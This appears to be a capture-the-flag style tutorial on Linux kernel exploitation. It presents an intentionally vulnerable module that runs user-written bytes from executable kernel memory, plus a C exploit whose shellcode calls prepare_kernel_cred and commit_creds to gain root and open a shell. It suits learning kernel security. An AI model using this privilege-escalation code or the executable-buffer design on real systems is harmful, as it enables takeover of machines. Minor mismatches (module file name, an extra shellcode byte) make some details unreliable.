Skip to content

Procfs Shellcode Challenge: Executing Kernel Shellcode

This challenge goes a step further than the indirect call: instead of jumping to a user-space function, we provide raw machine code (shellcode) that the kernel will copy into its own memory and execute. This bypasses SMEP because the code is executed from a kernel-space memory page.

The Driver Code

The module uses __vmalloc_node_range to allocate a page of memory that is explicitly marked as executable (PAGE_KERNEL_EXEC).

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>

#define PROC_FILENAME "pwn_shellcode"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("fitrafep");
MODULE_DESCRIPTION("Kernel Shellcode Execution Challenge");

static struct proc_dir_entry *proc_entry;
static char *shellcode_buffer;

typedef void* (*vmalloc_node_range_t)(unsigned long size, unsigned long align,
			unsigned long start, unsigned long end, gfp_t gfp_mask,
			pgprot_t prot, unsigned long vm_flags, int node,
			const void *caller);

static ssize_t device_write(struct file *file, const char __user *buff, size_t len, loff_t *off)
{
    if (len > PAGE_SIZE)
        return -EINVAL;

    // Copy user shellcode into the executable kernel buffer
    if (copy_from_user(shellcode_buffer, buff, len))
        return -EFAULT;

    // Execute the shellcode
    ((void (*)(void))shellcode_buffer)();

    return len;
}

#ifdef HAVE_PROC_OPS
static const struct proc_ops proc_fops = {
    .proc_write = device_write,
};
#else
static const struct file_operations proc_fops = {
    .write = device_write,
};
#endif

static int __init shellcode_init(void)
{
    vmalloc_node_range_t my_vmalloc_node_range;

    // Find the internal __vmalloc_node_range function
    my_vmalloc_node_range = (vmalloc_node_range_t)kallsyms_lookup_name("__vmalloc_node_range");
    if (!my_vmalloc_node_range) {
        printk(KERN_ERR "shellcode_chall: Could not find __vmalloc_node_range\n");
        return -ENXIO;
    }

    // Allocate executable memory in kernel space
    shellcode_buffer = my_vmalloc_node_range(PAGE_SIZE, 1, VMALLOC_START, VMALLOC_END,
                                            GFP_KERNEL, PAGE_KERNEL_EXEC, 0,
                                            NUMA_NO_NODE, __builtin_return_address(0));
    if (!shellcode_buffer)
        return -ENOMEM;

    proc_entry = proc_create(PROC_FILENAME, 0666, NULL, &proc_fops);
    if (!proc_entry) {
        vfree(shellcode_buffer);
        return -ENOMEM;
    }
    return 0;
}

static void __exit shellcode_exit(void)
{
    proc_remove(proc_entry);
    vfree(shellcode_buffer);
}

module_init(shellcode_init);
module_exit(shellcode_exit);

Makefile

obj-m += secret_chall.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Executable Kernel Memory

In modern kernels, memory is typically governed by the NX (No-Execute) bit, ensuring that memory pages are either writable or executable, but never both (W^X).

To circumvent this for the challenge, the module uses __vmalloc_node_range with the PAGE_KERNEL_EXEC protection flag. This allocates memory that the kernel is allowed to execute instructions from. This is a common pattern in kernel-mode β€œloaders” or just-in-time (JIT) compilers within the kernel (like the eBPF JIT).

Exploit Script (C)

The exploit provides a raw assembly payload that performs the rooting operation within the kernel context.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

// Shellcode breakdown:
// 48 31 ff                xor rdi, rdi
// 48 b8 60 96 08 81 ...   mov rax, 0xffffffff81089660 (prepare_kernel_cred)
// ff d0                   call rax
// 48 89 c7                mov rdi, rax
// 48 b8 10 93 08 81 ...   mov rax, 0xffffffff81089310 (commit_creds)
// ff d0                   call rax
// c3                      ret

unsigned char shellcode[] = {
    0x48, 0x31, 0xff,
    0x48, 0xb8, 0x60, 0x96, 0x08, 0x81, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xd0,
    0x48, 0x89, 0xc7,
    0x48, 0xb8, 0x10, 0x93, 0x08, 0x81, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xd0,
    0x48, 0xc3
};

int main() {
    // 1. Open the shellcode proc entry
    int fd = open("/proc/pwn_shellcode", O_WRONLY);
    if (fd < 0) { perror("open"); return 1; }

    // 2. Write the shellcode to trigger execution
    if (write(fd, shellcode, sizeof(shellcode)) < 0) {
        perror("write");
        return 1;
    }

    // 3. Verify root escalation
    if (getuid() == 0) {
        printf("[+] Success! We are root.\n");
        system("/bin/sh");
    } else {
        printf("[-] Failed to get root.\n");
    }

    close(fd);
    return 0;
}

Deployment

Modify the rootfs/init script to load the module and trigger the exploit:

-exec /bin/sh
+insmod /secret_chall.ko
+su pwn -c "/exploit_secret"
+poweroff -f